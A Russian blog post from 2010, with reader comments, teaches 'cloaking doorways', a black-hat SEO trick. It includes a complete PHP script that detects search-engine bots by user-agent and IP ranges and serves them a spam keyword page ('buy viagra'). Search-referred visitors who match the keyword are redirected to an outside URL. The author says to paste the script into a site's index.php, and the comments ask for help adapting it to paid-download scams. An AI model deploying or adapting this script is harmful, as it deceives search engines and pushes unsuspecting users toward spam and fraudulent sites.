Делаем клоакинг дорвеи

Клоакинг – это прием поисковой оптимизации, который заключается в том, что информация, выдаваемая поисковому роботу и посетителю, отличается.

Наверняка вы не раз видели в поисковой выдаче вот такую ситуацию:

Это как раз и есть пример использования клоакинга.

Что же нужно сделать, чтобы получить такой клоакинг дорвей?

Нужно написать клоакинг скрипт который будет выдавать поисковому роботу страницу, оптимизированную под какой-нибудь кейворд, а посетителя, перешедшего с поисковой системы, будет перенаправлять по указанному нами адресу.

Как будет скрипт определять бот это или нет? – По IP адресу и USER_AGENT’у.

Вот собственно и сам клоакинг скрипт на PHP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
$is_bot = FALSE ;
$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',
                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
                               '#charlotte#i', '#ngb#i' ) ; 
 
$stop_ips_masks = array(
        "66\.249\.[6-9][0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
        "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
        "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
        "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
        "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
        "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
        "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
        "93\.172\.94\.227",                // MacFinder
        "212\.100\.250\.218",            // Wells Search II
        "71\.165\.223\.134",            // Indy Library
        "70\.91\.180\.25",
        "65\.93\.62\.242",
        "74\.193\.246\.129",
        "213\.144\.15\.38",
        "195\.92\.229\.2",
        "70\.50\.189\.191",
        "218\.28\.88\.99",
        "165\.160\.2\.20",
        "89\.122\.224\.230",
        "66\.230\.175\.124",
        "218\.18\.174\.27",
        "65\.33\.87\.94",
        "67\.210\.111\.241",
        "81\.135\.175\.70",
        "64\.69\.34\.134",
        "89\.149\.253\.169"
    );
// проверяем это бот зашел или нет
foreach ( $stop_ips_masks as $k=>$v )
{
    if ( preg_match( '#^'.$v.'$#', $_SERVER['REMOTE_ADDR']) )
        $is_bot = TRUE ;
}
// проверяем это бот зашел или нет
if ( $is_bot || !( FALSE === strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) )
{
echo '<html><h1>buy viagra</h1></html>'; //тут страница дора скармливаемая гуглу
die();
}
// если это не бот, проверяем откуда пришел посетитель, если с поисковика, то выдаем ему редирект, если не с поисковика выдаем ему оригинальную страницу
elseif ( preg_match ( '#google|msn|live|altavista|ask|yahoo|aol|bing#i', $_SERVER['HTTP_REFERER'] ) )
    {
        if ( preg_match( "#[\?\&](q|p|query|keywords)=([^&]+)#i", $_SERVER['HTTP_REFERER'] , $match ) )
        {
            $keyword = $match[2] ;
            if ( preg_match( '~viagra~i', $keyword ) ) // вместо viagra пишем свой кейворд, если кейворд типа "buy viagra" то пишем просто viagra
            {
				header('Location: http://beerhack.name'); // сюда вписываем url на который будем перенаправлять посетителей
                die() ;
            }
        }
    }
?>
// тут должно быть содержимое оригинальной страницы

Обратите внимание на комментарии в скрипте, там все написано, что и куда вставлять. Этот скрипт нужно вставить в начале файла index.php в корневой директории сайта.

Таким образом мы получаем клоакинг дорвей на главной странице сайта с соответствующим PageRank’ом.

Преимущества такого метода, думаю, очевидны.

Недостатки заключаются в том, что список IP адресов  ботов полностью неизвестен, его нужно пополнять.

27.02.2010

Комментарии:

  1. Ну и как долго такие доры живут ?

    Ответить
  2. root4me, у меня бывало год, а то и два почти, и то выпали из-за того, что админы терли.

    Ответить
  3. Вот бы всю базу ипов получить ))

    Ответить
  4. Спасибо автору !
    А есть актуальный на сегодня список усер-агентов и Айпи адресов?
    И вышеуказаный клоакинг сейчас рулит еще?

    Ответить
  5. А куда нужно вставлять код?

    Ответить
  6. Сергей, в самое начало файла.

    Ответить
  7. Бирхак (автор), А можно этот скрипт прикрутить к дорам под Download трафик, чтобы при редиректе передавался ключ на платник?

    Ответить
  8. Сергей, можно пару строчек добавить и будет такое

    Ответить
  9. Большое спасибо за скрипт.
    А как можно проверить и убедиться что он правильно работает?

    Ответить
  10. А что в 52-й строке значит $k=&gt. Ни как не могу понять.
    Спасибо

    Ответить
  11. Макс, ой, там должен быть знак «>». Исправил.

    Ответить
  12. Сорри за нубский вопрос, но все же..
    «echo ‘buy viagra’; //тут страница дора скармливаемая гуглу» – Сюда засунуть страницу для ПС (Оптимизированную под кейворд ),
    а тут «// тут должно быть содержимое оригинальной страницы» – код страницы для посетителей который зашли на сайт не с ПС, я правильно думаю?

    Ответить
  13. Lenin, правильно.

    Ответить
  14. Не подскажите как сделать клоакинг вот по такой схеме:
    http:\\mysite.ru\1 – http:\\site1.ru
    http:\\mysite.ru\2 – http:\\vasya.ru
    http:\\mysite.ru\3 – http:\\velosiped.ru

    Ответить
  15. Как подправить и что убрать чтобы кейворд не проверялся? ибо гоша перестал выдавать кей.
    Просто проверять ip, useragent и откуда перешел…

    Ответить